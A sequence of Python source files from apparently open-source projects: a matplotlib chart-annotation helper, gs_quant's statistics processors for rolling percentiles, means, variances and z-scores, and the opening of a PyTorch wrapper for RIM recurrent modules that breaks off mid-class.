p.get_bbox().bounds if height != 0: height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes) height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes) if height > 0: if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325*text_fontsize/10), ha='center', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325), ha='center', va='center') elif height < 0: if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325*text_fontsize/10), ha='center', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325), ha='center', va='center') else: pass else: pass elif text in ['v', 'v+o', 'o+v']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if height != 0: height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes) height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes) if height > 0: if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325*text_fontsize/10), ha='center', va='bottom', fontsize=text_fontsize, rotation=90) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, height+max_height*0.0325), ha='center', va='bottom', rotation=90) elif height < 0: if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325*text_fontsize/10), ha='center', va='top', fontsize=text_fontsize, rotation=90) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, height+min_height*0.0325), ha='center', va='top', rotation=90) else: pass else: pass elif text in ['i', 'i+v', 'v+i']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if height != 0: height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes) height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes) if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize, rotation=90) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', rotation=90) else: pass elif text in ['i+h', 'h+i']: for p in ax.patches: left, bottom, width, height = p.get_bbox().bounds if height != 0: height_sep = text_sep_type(plot=plot, df=df, num=height, sep=sep, axislabel=axislabel, axes=axes) height_add = text_add_type(plot=plot, num=height_sep, add=add, axislabel=axislabel, axes=axes) if text_fontsize is not None: try: ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center', fontsize=text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: ax.annotate((f'{height_add}'), xy=(left+width/2, bottom+height/2), ha='center', va='center') else: pass else: pass else: raise Exception('Unsupported axis!') else: pass # annotate for lineplot in paretoplot if (plot == 'paretoplot') and (text in ['h', 'h+o', 'o+h', 'v', 'v+o', 'o+v', 'i', 'i+v', 'v+i', 'i+h', 'h+i']): if axis == 'x': for data in ax.get_shared_y_axes().get_siblings(ax)[0].get_lines(): x_arr, y_arr = data.get_data() # check x_arr data type if type(x_arr) == list: x_arr = numpy.array(x_arr) elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False: x_arr = numpy.array(x_arr) else: pass # check y_arr data type if type(y_arr) == list: y_arr = numpy.array(y_arr) elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False: y_arr = numpy.array(y_arr) else: pass # get max x data points if x_arr.size != 0: max_x = max(x_arr) else: pass if (x_arr.size != 0) and (y_arr.size != 0): for x, y in zip(x_arr, y_arr): # annotate x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel='Cumulative Percentage', axes=axes) x_add = text_add_type(plot=plot, num=x_sep, add='_%', axislabel='Cumulative Percentage', axes=axes) if text_fontsize is not None: try: ax.get_shared_y_axes().get_siblings(ax)[0].annotate(f'{x_add}', xy=(x-max_x*0.0325*text_fontsize/10, y), fontsize=text_fontsize, ha='right', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.get_shared_y_axes().get_siblings(ax)[0].annotate(f'{x_add}', xy=(x-max_x*0.0325, y), ha='right', va='center') else: pass elif axis == 'y': for data in ax.get_shared_x_axes().get_siblings(ax)[0].get_lines(): x_arr, y_arr = data.get_data() # check x_arr data type if type(x_arr) == list: x_arr = numpy.array(x_arr) elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False: x_arr = numpy.array(x_arr) else: pass # check y_arr data type if type(y_arr) == list: y_arr = numpy.array(y_arr) elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False: y_arr = numpy.array(y_arr) else: pass # get max y data points if y_arr.size != 0: max_y = max(y_arr) else: pass if (x_arr.size != 0) and (y_arr.size != 0): for x, y in zip(x_arr, y_arr): # annotate y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel='Cumulative Percentage', axes=axes) y_add = text_add_type(plot=plot, num=y_sep, add='_%', axislabel='Cumulative Percentage', axes=axes) if text_fontsize is not None: try: ax.get_shared_x_axes().get_siblings(ax)[0].annotate(f'{y_add}', xy=(x, y+max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='bottom') except: raise Exception('Unknown text fontsize argument!') else: ax.get_shared_x_axes().get_siblings(ax)[0].annotate(f'{y_add}', xy=(x, y+max_y*0.0325), ha='center', va='bottom') else: pass else: raise Exception('Unsupported axis!') else: pass else: pass if (plot == 'scatterplot') and (text == True): x_arr, y_arr = numpy.array([x for x, _ in ax.collections[0].get_offsets()]), numpy.array([y for _, y in ax.collections[0].get_offsets()]) # get max and min y data points if y_arr.size != 0: max_y = max(y_arr) min_y = min(y_arr) else: pass if (x_arr.size != 0) and (y_arr.size != 0): for x, y in ax.collections[0].get_offsets(): # annotate if axis == 'x': x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel=axislabel, axes=axes) x_add = text_add_type(plot=plot, num=x_sep, add=add, axislabel=axislabel, axes=axes) if y > 0: if text_fontsize is not None: try: ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325), ha='center', va='center') elif y < 0: if text_fontsize is not None: try: ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325), ha='center', va='center') else: pass elif axis == 'y': y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel=axislabel, axes=axes) y_add = text_add_type(plot=plot, num=y_sep, add=add, axislabel=axislabel, axes=axes) if y > 0: if text_fontsize is not None: try: ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03), ha='center', va='center') elif y < 0: if text_fontsize is not None: try: ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03), ha='center', va='center') else: pass else: raise Exception('Unsupported axis!') else: pass else: pass if (plot in ['lineplot', 'ecdfplot']) and (text == True): for data in ax.get_lines(): x_arr, y_arr = data.get_data() # check x_arr data type if type(x_arr) == list: x_arr = numpy.array(x_arr) elif numpy.issubdtype(type(x_arr), numpy.ndarray) == False: x_arr = numpy.array(x_arr) else: pass # check y_arr data type if type(y_arr) == list: y_arr = numpy.array(y_arr) elif numpy.issubdtype(type(y_arr), numpy.ndarray) == False: y_arr = numpy.array(y_arr) else: pass # get max and min y data points if y_arr.size != 0: max_y = max(y_arr) min_y = min(y_arr) else: pass if (x_arr.size != 0) and (y_arr.size != 0): for x, y in zip(x_arr, y_arr): # temporary bug fix for ecdfplot if x == numpy.NINF: x = 0 else: pass if y == numpy.NINF: y = 0 else: pass # annotate if axis == 'x': x_sep = text_sep_type(plot=plot, df=df, num=x, sep=sep, axislabel=axislabel, axes=axes) x_add = text_add_type(plot=plot, num=x_sep, add=add, axislabel=axislabel, axes=axes) if y > 0: if text_fontsize is not None: try: ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{x_add}', xy=(x, y-max_y*0.0325), ha='center', va='center') elif y < 0: if text_fontsize is not None: try: ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{x_add}', xy=(x, y+min_y*0.0325), ha='center', va='center') else: pass elif axis == 'y': y_sep = text_sep_type(plot=plot, df=df, num=y, sep=sep, axislabel=axislabel, axes=axes) y_add = text_add_type(plot=plot, num=y_sep, add=add, axislabel=axislabel, axes=axes) if y > 0: if text_fontsize is not None: try: ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{y_add}', xy=(x, y+max_y*0.03), ha='center', va='center') elif y < 0: if text_fontsize is not None: try: ax.annotate(f'{y_add}', xy=(x, y-min_y*0.03*text_fontsize/10), fontsize=text_fontsize, ha='center', va='center') except: raise Exception('Unknown text fontsize argument!') else: ax.annotate(f'{y_add}', xy=(x, y-max_y*0.03), ha='center', va='center') else: pass else: raise Exception('Unsupported axis!') else: pass else: pass if (plot == 'pieplot') and (text == True): for child in ax.get_children(): if isinstance(child, matplotlib.text.Text) and ('%' in child.get_text()): num = float(child.get_text()[:-1]) text_sep = text_sep_type(plot=plot, df=df, num=num, sep=sep, axislabel=naxislabel, axes=axes) text_add = text_add_type(plot=plot, num=text_sep, add='_%', axislabel=naxislabel, axes=axes) child.set_text(f'{text_add}') else: pass if isinstance(child, matplotlib.text.Text) and (text_fontsize is not None): try: child.set_fontsize(text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: pass else: pass if (plot in ['treemapsplot', 'packedbubblesplot']) and (text == True): for child in ax.get_children(): if isinstance(child, matplotlib.text.Text) and (child.get_text().isdigit() == True): num = int(child.get_text()) text_sep = text_sep_type(plot=plot, df=df, num=num, sep=sep, axislabel=naxislabel, axes=axes) text_add = text_add_type(plot=plot, num=text_sep, add=add, axislabel=naxislabel, axes=axes) child.set_text(f'{text_add}') else: pass if isinstance(child, matplotlib.text.Text) and (text_fontsize is not None): try: child.set_fontsize(text_fontsize) except: raise Exception('Unknown text fontsize argument!') else: pass else: pass return ax
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9ecfc10fd800b9e5c8ffd55da140915893795115
18,135
py
Python
gs_quant/analytics/processors/statistics_processors.py
skyquant2/gs-quant
b7e648fa7912b13ad1fd503b643389e34587aa1e
[ "Apache-2.0" ]
1
2021-06-28T06:43:42.000Z
2021-06-28T06:43:42.000Z
gs_quant/analytics/processors/statistics_processors.py
skyquant2/gs-quant
b7e648fa7912b13ad1fd503b643389e34587aa1e
[ "Apache-2.0" ]
null
null
null
gs_quant/analytics/processors/statistics_processors.py
skyquant2/gs-quant
b7e648fa7912b13ad1fd503b643389e34587aa1e
[ "Apache-2.0" ]
null
null
null
""" Copyright 2019 Goldman Sachs. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from typing import Optional, Union import pandas as pd from gs_quant.analytics.core.processor import BaseProcessor, DataCoordinateOrProcessor, DateOrDatetimeOrRDate from gs_quant.analytics.core.processor_result import ProcessorResult from gs_quant.timeseries.statistics import percentiles, percentile, Window, mean, sum_, std, var, cov, zscores class PercentilesProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, b: Optional[DataCoordinateOrProcessor] = None, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = Window(None, 0), **kwargs): """ PercentilesProcessor :param a: DataCoordinate or BaseProcessor for the first series :param b: DataCoordinate or BaseProcessor for the second series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. """ super().__init__(**kwargs) self.children['a'] = a self.children['b'] = b self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: b_data = self.children_data.get('b') # Need to check if the child node b was set in the first place. if self.children.get('b') and isinstance(b_data, ProcessorResult): if b_data.success: result = percentiles(a_data.data, b_data.data, w=self.w) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(True, 'PercentilesProcessor: b is not a valid series.') result = percentiles(a_data.data, w=self.w) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "PercentilesProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "PercentilesProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class PercentileProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, n: float, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = None, **kwargs): """ PercentileProcessor :param a: DataCoordinate or BaseProcessor for the series :param n: Percentile :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. """ super().__init__(**kwargs) self.children['a'] = a self.n = n self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: series_length = len(a_data.data) window = None if self.w: window = self.w if self.w <= series_length else series_length result = percentile(a_data.data, self.n, w=window) if not isinstance(result, pd.Series): result = pd.Series(result) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "PercentileProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "PercentileProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class MeanProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = None, **kwargs): """ MeanProcessor :param a: DataCoordinate or BaseProcessor for the series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Calculates `arithmetic mean <https://en.wikipedia.org/wiki/Arithmetic_mean>`_ of the series over a rolling window If window is not provided, computes rolling mean over the full series. If the window size is greater than the available data, will return mean of available values. """ super().__init__(**kwargs) self.children['a'] = a self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: series_length = len(a_data.data) window = None if self.w: window = self.w if self.w <= series_length else series_length result = mean(a_data.data, w=window) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "MeanProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "MeanProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class SumProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = None, **kwargs): """ SumProcessor :param a: DataCoordinate or BaseProcessor for the series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Calculate the sum of observations over a given rolling window. If window is not provided, computes sum over the full series. If the window size is greater than the available data, will return sum of available values. """ super().__init__(**kwargs) self.children['a'] = a self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: series_length = len(a_data.data) window = None if self.w: window = self.w if self.w <= series_length else series_length result = sum_(a_data.data, w=window) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "SumProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "SumProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class StdDevProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = Window(None, 0), **kwargs): """ StdDevProcessor :param a: DataCoordinate or BaseProcessor for the first series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of sample standard deviation <https://en.wikipedia.org/wiki/Standard_deviation>`_ over a rolling window If window is not provided, computes standard deviation over the full series """ super().__init__(**kwargs) self.children['a'] = a self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: series_length = len(a_data.data) window = None if self.w: window = self.w if self.w <= series_length else series_length result = std(a_data.data, w=window) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "StdDevProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "StdDevProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class VarianceProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = Window(None, 0), **kwargs): """ VarianceProcessor :param a: DataCoordinate or BaseProcessor for the first series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of sample variance <https://en.wikipedia.org/wiki/Variance>`_ over a rolling window If window is not provided, computes variance over the full series """ super().__init__(**kwargs) self.children['a'] = a self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: series_length = len(a_data.data) window = None if self.w: window = self.w if self.w <= series_length else series_length result = var(a_data.data, w=window) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "VarianceProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "VarianceProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class CovarianceProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, b: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = Window(None, 0), **kwargs): """ CovarianceProcessor :param a: DataCoordinate or BaseProcessor for the first series :param b: DataCoordinate or BaseProcessor for the second series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Provides `unbiased estimator <https://en.wikipedia.org/wiki/Unbiased_estimation_of_standard_deviation>`_ of sample co-variance <https://en.wikipedia.org/wiki/Covariance>`_ over a rolling window: If window is not provided, computes variance over the full series """ super().__init__(**kwargs) self.children['a'] = a self.children['b'] = b self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: b_data = self.children_data.get('b') # Need to check if the child node b was set in the first place. if self.children.get('b') and isinstance(b_data, ProcessorResult): if b_data.success: result = cov(a_data.data, b_data.data, w=self.w) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(True, "CovarianceProcessor does not 'b' series values yet.") else: self.value = ProcessorResult(True, 'CovarianceProcessor: b is not a valid series.') else: self.value = ProcessorResult(False, "CovarianceProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "CovarianceProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass class ZscoresProcessor(BaseProcessor): def __init__(self, a: DataCoordinateOrProcessor, *, start: Optional[DateOrDatetimeOrRDate] = None, end: Optional[DateOrDatetimeOrRDate] = None, w: Union[Window, int] = None, **kwargs): """ ZscoresProcessor :param a: DataCoordinate or BaseProcessor for the series :param start: start date or time used in the underlying data query :param end: end date or time used in the underlying data query :param w: Window or int: size of window and ramp up to use. e.g. Window(22, 10) where 22 is the window size and 10 the ramp up value. If w is a string, it should be a relative date like '1m', '1d', etc. Window size defaults to length of series. **Usage** Calculate `standard score <https://en.wikipedia.org/wiki/Standard_score>`_ of each value in series over given window. Standard deviation and sample mean are computed over the specified rolling window, then element is normalized to provide a rolling z-score If window is not provided, computes z-score relative to mean and standard deviation over the full series """ super().__init__(**kwargs) self.children['a'] = a self.start = start self.end = end self.w = w def process(self): a_data = self.children_data.get('a') if isinstance(a_data, ProcessorResult): if a_data.success: result = zscores(a_data.data, w=Window(None, 0) if self.w is None else self.w) self.value = ProcessorResult(True, result) else: self.value = ProcessorResult(False, "ZscoresProcessor does not have 'a' series values yet") else: self.value = ProcessorResult(False, "ZscoresProcessor does not have 'a' series yet") return self.value def get_plot_expression(self): pass
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Python
modular_dynamics/modularity.py
dido1998/CausalMBRL
2c595988b06b3d568fdde53213029e97841acb03
[ "MIT" ]
20
2021-06-08T09:24:30.000Z
2022-03-28T15:38:18.000Z
modular_dynamics/modularity.py
dido1998/CausalMBRL
2c595988b06b3d568fdde53213029e97841acb03
[ "MIT" ]
1
2021-08-02T10:13:15.000Z
2021-08-03T06:03:56.000Z
modular_dynamics/modularity.py
dido1998/CausalMBRL
2c595988b06b3d568fdde53213029e97841acb03
[ "MIT" ]
6
2021-08-01T14:29:44.000Z
2022-03-21T14:55:31.000Z
import torch.nn as nn import torch from SCOFF.rnn_models_scoff import RNNModel as RNNModelScoff from SCOFFv2.rnn_models_scoffv2 import RNNModel as RNNModelScoffv2 from RIMs.rnn_models_rim import RNNModel as RNNModelRim from RIMv2.rnn_models_rimv2 import RNNModel as RNNModelRimv2 from utilities.RuleNetwork import RuleNetwork class Identity(torch.autograd.Function): @staticmethod def forward(ctx, input): return input * 1.0 def backward(ctx, grad_output): print(grad_output) return grad_output * 1.0 class RIM(nn.Module): def __init__(self, device, input_size, hidden_size, num_units, k, rnn_cell = 'LSTM', n_layers = 1, bidirectional = False, version = 0, attention_out = 32, num_rules = 0, rule_time_steps = 0, application_option = 3, batch_first = False, dropout = 0.0, step_att=True, rule_selection = 'gumble'): super().__init__() """ - Wrapper for RIMs. - Mirrors nn.LSTM or nn.GRU - supports bidirection and multiple layers - Option to specify num_rules and rule_time_steps. Parameters: device: 'cuda' or 'cpu' input_size hidden_size num_units: Number of RIMs k: topk rnn_cell: 'LSTM' or 'GRU' (default = LSTM) n_layers: num layers (default = 1) bidirectional: True or False (default = False) num_rules: number of rules (default = 0) rule_time_steps: Number of times to apply rules per time step (default = 0) """ if device == 'cuda': self.device = torch.device('cuda') else: self.device = torch.device('cpu') self.n_layers = n_layers self.num_directions = 2 if bidirectional else 1 self.rnn_cell = rnn_cell self.num_units = num_units self.hidden_size = hidden_size // num_units self.batch_first = batch_first if self.num_directions == 2: self.rimcell = nn.ModuleList([RNNModelRim(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i < 2 else RNNModelRim(rnn_cell, 2 * hidden_size, 2 * hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers * self.num_directions)]) else: self.rimcell = nn.ModuleList([RNNModelRim(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) if i == 0 else RNNModelRim(rnn_cell, hidden_size, hidden_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection).to(self.device) for i in range(self.n_layers)]) def rim_transform_hidden(self, hs): hiddens = [] h_split = torch.split(hs[0], 1, dim = 0) c_split = torch.split(hs[1], 1, dim = 0) for h, c in zip(h_split, c_split): hiddens.append((h.squeeze(0), c.squeeze(0))) return hiddens def rim_inverse_transform_hidden(self, hs): h, c = [], [] for h_ in hs: h.append(h_[0]) c.append(h_[1]) h = torch.stack(h, dim = 0) c = torch.stack(c, dim = 0) return (h, c) def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None): batch_size = x.size(1) xs = list(torch.split(x, 1, dim = 0)) if direction == 1: xs.reverse() xs = torch.cat(xs, dim = 0) hidden = self.rim_transform_hidden((h, c)) entropy = 0 outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network) entropy += entropy_ #hs = h.squeeze(0).view(batch_size, self.num_units, -1) #cs = None #if c is not None: # cs = c.squeeze(0).view(batch_size, self.num_units, -1) #outputs = [] #for x in xs: # x = x.squeeze(0) # hs, cs = rim_layer(x, hs, cs) # outputs.append(hs.view(1, batch_size, -1)) hs, cs = self.rim_inverse_transform_hidden(hidden) outputs = list(torch.split(outputs, 1, dim = 0)) if direction == 1: outputs.reverse() outputs = torch.cat(outputs, dim = 0) if c is not None: return outputs, hs.view(batch_size, -1), cs.view(batch_size, -1), entropy else: return outputs, hs.view(batch_size, -1) def forward(self, x, hidden = None, message_to_rule_network = None): """ Input: x (seq_len, batch_size, input_size hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] (Optional) Output: outputs (batch_size, seqlen, hidden_size * num_directions) hidden tuple[(num_layers * num_directions, batch_size, hidden_size)] """ if self.batch_first: x = x.transpose(0, 1) h, c = None, None if hidden is not None: h, c = hidden[0], hidden[1] hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h cs = None if self.rnn_cell == 'LSTM': cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c else: cs = hs new_hs = torch.zeros(hs.size()).to(hs.device) new_cs = torch.zeros(cs.size()).to(cs.device) entropy = 0 for n in range(self.n_layers): idx = n * self.num_directions x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network=message_to_rule_network) entropy += entropy_ if self.num_directions == 2: idx = n * self.num_directions + 1 x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), direction=1, message_to_rule_network = message_to_rule_network) entropy += entropy_ x = torch.cat((x_fw, x_bw), dim = 2) else: x = x_fw #hs = torch.stack(hs, dim = 0) #cs = torch.stack(cs, dim = 0) if self.batch_first: x = x.transpose(0, 1) if self.rnn_cell == 'GRU': return x, (new_hs, new_hs) else: return x, (new_hs, new_cs) class RIMv2(nn.Module): def __init__(self, device, input_size, hidden_size, num_units, k, rnn_cell = 'LSTM', n_layers = 1, bidirectional = False, version = 0, attention_out = 32, num_rules = 0, rule_time_steps = 0, application_option = 3, batch_first = False, dropout = 0.0, step_att=True, rule_selection = 'gumble', rule_dim = 32): super().__init__() """ - Wrapper for RIMs. - Mirrors nn.LSTM or nn.GRU - supports bidirection and multiple layers - Option to specify num_rules and rule_time_steps. Parameters: device: 'cuda' or 'cpu' input_size hidden_size num_units: Number of RIMs k: topk rnn_cell: 'LSTM' or 'GRU' (default = LSTM) n_layers: num layers (default = 1) bidirectional: True or False (default = False) num_rules: number of rules (default = 0) rule_time_steps: Number of times to apply rules per time step (default = 0) """ if device == 'cuda': self.device = torch.device('cuda') else: self.device = torch.device('cpu') self.n_layers = n_layers self.num_directions = 2 if bidirectional else 1 self.rnn_cell = rnn_cell self.num_units = num_units self.hidden_size = hidden_size // num_units self.batch_first = batch_first if self.num_directions == 2: self.rimcell = nn.ModuleList([RNNModelRimv2(rnn_cell, input_size, input_size, [hidden_size], 1, num_blocks = [num_units], topk = [k], do_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = 